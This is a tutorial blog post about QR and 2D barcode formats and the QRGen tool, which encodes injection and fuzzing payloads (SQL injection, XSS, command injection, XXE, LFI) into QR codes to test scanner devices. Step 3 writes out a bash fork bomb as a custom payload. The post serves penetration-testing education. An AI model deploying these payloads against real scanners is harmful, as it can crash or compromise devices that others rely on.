QR codes are everywhere, from product packaging to airline boarding passes, making the scanners that read them a juicy target for hackers. Thanks to flaws in many of these proprietary scanning devices, it’s possible to exploit common vulnerabilities using exploits packed into custom QR codes.

A tool called QRGen can create malicious QR codes and even encode custom-made payloads. These attacks are potent because humans can’t read or understand the information contained in a QR code without scanning it, potentially exposing any device used to attempt to decipher the code to the exploit contained within. Even QR code scanners like smartphones can be vulnerable to these kinds of attacks, as QR codes were found to be capable of luring iPhones users to malicious sites.

What Are QR Codes?

QR codes are machine-readable data formats that are useful for anything that needs to be scanned automatically. Before QR codes, there were several other formats called linear barcodes, which also stored data in a way that was easy for machines to read. You’ve probably seen a UPC barcode like the one below on products, as it’s often used to identify items for sale so cashiers can scan them to enable faster checkout.

The UPC barcode, or Universal Product Code, has been in use since 1974. Its purpose is primarily in retail and encodes a series of numbers only, making it limited in application. While many different types of linear barcodes exist, they aren’t able to store a lot of information. Applications like shipping and automobile manufacture required a standard that would hold more data.

2D Barcodes for More Data

The answer to the limitation of linear barcodes was 2D barcodes, which offer more storage resistance to having physical damage affect the information contained within. Some of the first 2D codes looked like the one below, which is still widely used today.

Aztec code is a 2D, or matrix, machine-readable code that is similar in many ways to a QR code and can hold more information than a linear barcode. Initially developed for logistics, you may see it used on packages and envelopes when more data needs to be stored than a linear barcode can provide.

Other types of 2D barcodes can contain an extremely dense amount of data. The PDF417 format found on the back of most drivers licenses in the United States, for example, can encode up to 1800 ASCII characters.

PDF417 codes like above can encode text, numbers, files, and actual data bytes, and they’re more resistant to errors than linear barcodes. Companies like FedEx use a combination of PDF417 and other barcodes on packing slips to automate delivery and tracking.

What Can Codes Do with More Data?

QR codes started in the automotive industry as a way to keep track of cars as they were being manufactured but quickly grew in popularity outside that industry. Similar to other 2D codes, QR codes can pack a ton of data and can even work when reduced in resolution or otherwise damaged.

A single QR code can hold 4,296 ASCII characters, which makes it possible to to be a lot more creative about what you can do with them. You can even format the data to trigger actions when a reader device recognizes it.

One fascinating application of QR codes enabled by their larger data capacity is using them to manage Wi-Fi connections without sharing the password in plain text. By encoding the following string, you can create a QR code that logs Android users into a Wi-Fi network automatically.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Anyone scanning the QR code on an Android device would find themselves automatically signed in to the encoded Wi-Fi network. To get a handle on how much data a QR code can pack, take a look at this code:

That tiny code contains the following text:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

The text contained in the image is larger than the QR code itself! The capacity makes QR codes both powerful and dangerous because humans can’t understand the data inside them without scanning them first.

QRgen for QR Code Hacking

Because a human can’t spot a malicious QR code before actually scanning it, the relatively large payload of a QR code can work to a hacker’s advantage, especially when combined with vulnerable devices. The tool we’ll use today to create these is called QRGen. It will take a payload and encode it into a QR code using Python.

QRGen comes with a built-in library that contains lots of popular exploits, which is extremely useful if you have time to sit down with the same device you’re looking to exploit and find out which one works. For a pentester looking to audit anything that uses a QR code scanner, merely buying the same scanner and running through the exploits can lead you to get the scanner to behave in unexpected ways.

The categories of payloads available on QRGen can be accessed by using the -l flag and a number while running the script. The number and payload type are listed below.

0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

To create a bunch of malicious QR codes that include string-fuzzing payloads, I’d just need to run QRGen.py -l 5 to create many codes for testing.

What You’ll Need

To use QRGen, you’ll need Python3 installed. Because it’s cross-platform, it should be possible to do on any operating system. You’ll also need a few Python libraries, including qrcode, Pillow, and argparse, which we’ll install during the setup.

Step 1Install QRGen

To start with QRGen, we’ll need to download the repository from GitHub. We’ll do that by running the command below in a terminal window.

~$ git clone https://github.com/h0nus/QRGen
Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Once the repo finishes downloading, change (cd) into its directory and list (ls) its contents to find the requirements file.

~$ cd QRGen
~/QRGen$ ls
demo.gif  qrgen.py  README.md  requirements.txt  words

Now, you’ll need to make sure we have all the required libraries installed. To do so, we’ll run the installation file with the following command.

~/QRGen$ pip3 install -r requirements.txt
Collecting qrcode (from -r requirements.txt (line 1))
Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

If that doesn’t work, you can also install it with this alternative command.

~/QRGen$ python3 -m pip install -r requirements.txt

Step 2Generate Malicious QR Codes from a Payload Type

Now, you should be able to run the script by typing python3 qrgen.py.

~/QRGen$ python3 qrgen.py
  e88 88e   888 88e    e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]
Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
Tool to generate Malformed QRCodes for fuzzing QRCode parsers/readeroptional arguments:
-h, --help show this help message and exit
Options for QRGen:
--list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
Set wordlist to use
--wordlist WORDLIST, -w WORDLIST
Use a custom wordlist
Pay attention everywhere, even in the dumbest spot

As you can see, it’s pretty simple to create payloads. To start, let’s create a payload containing format string payloads. To do so, run QRGen with the following argument.

~/QRGen$ python3 qrgen.py -l 5
  e88 88e   888 88e    e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

A series of QR codes will be generated, and the last one that was created will open automatically.

To see the rest of your payloads, you can type cd genqr to change to the directory where they are created and ls its contents.

~/QRGen$ cd genqr
~/QRGen/genqr$ ls
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png
payload-18.png payload-27.png payload-36.png payload-45.png

Step 3Encode Custom Payloads

To encode a custom payload, we can first create a text file containing what we want to encode. Each line will be a new payload. First, we can create a next text file by typing nano badstuff.txt to create a text file.

~/QRGen/genqr$ nano badstuff.txt

In that text file, we can put our payload. The one below is a fork bomb. Will it work on a QR code scanner? Who knows.

:(){ :|: & };:

We can save it by pressing Control X, then hit Y and Enter to confirm your save. Now, you should see a text file containing your payload.

~/QRGen/genqr$ ls
badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png

To write your payload to a QR code, we’ll use the -w flag. Assuming your payload file is called “badstuff.txt,” the command to do so should look like below (remember to change back to the QRGen directory beforehand).

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'
  e88 88e   888 88e    e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

For my fork bomb payload, it generates the QR code below, which will pop up.

Not All QR Codes Are Wise to Scan

QR codes can encode a lot of information, and as we’ve learned today, they can even be formatted to cause a device to perform actions like connecting to a Wi-Fi network. That makes scanning a QR code risky, as a person has no way of reading the information before exposing your device to whatever payload is contained inside. If you scan a QR code that seems suspicious, pay attention to what the code is attempting to launch, and do not connect to a Wi-Fi network or navigate to a link that’s shortened.

While most QR codes should be safe to scan on a smartphone, scanning payloads we generated today on a device for scanning tickets or boarding passes may result in some bizarre behavior from the device. Do not scan payloads on a scanner you need working immediately after for an event or work — or any scanner you do not have permission to test — as some of these payloads may cause the scanner to stop working.

I hope you enjoyed this guide to generating malicious QR codes to exploit scanning devices! If you have any questions about this tutorial on QR codes or you have a comment, there’s the comments section below, and feel free to reach me on Twitter technicalhayden

--

--